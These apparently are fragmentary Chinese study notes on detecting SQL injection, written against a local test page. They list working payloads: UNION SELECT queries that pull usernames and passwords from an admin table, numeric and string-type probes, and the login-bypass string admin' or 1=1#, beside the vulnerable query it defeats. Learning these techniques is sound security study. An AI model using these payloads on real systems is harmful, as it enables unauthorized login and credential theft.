#SQL注入各个类型检测方式 http://127.0.0.1/day6/1.php?id=1 union select 1,name,pass from admin 数字型 数字型不用特意加字符,直接 and1=2检测是否有注入点: http://127.0.0.1/day6/1.php?key=-test' union select 1,name,pass from admin --+ 字符型 字符型需要在'xx--+ 中间输入命令,' and 1=2 --+ 检测是否有注入点: http:
sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';用户登录的地方没有处理,可以输入用户名 admin' or 1=1#,使用’单引号闭合注释符号:# -- %25 %2d%2d --+在输入:admin' and1=1#admin'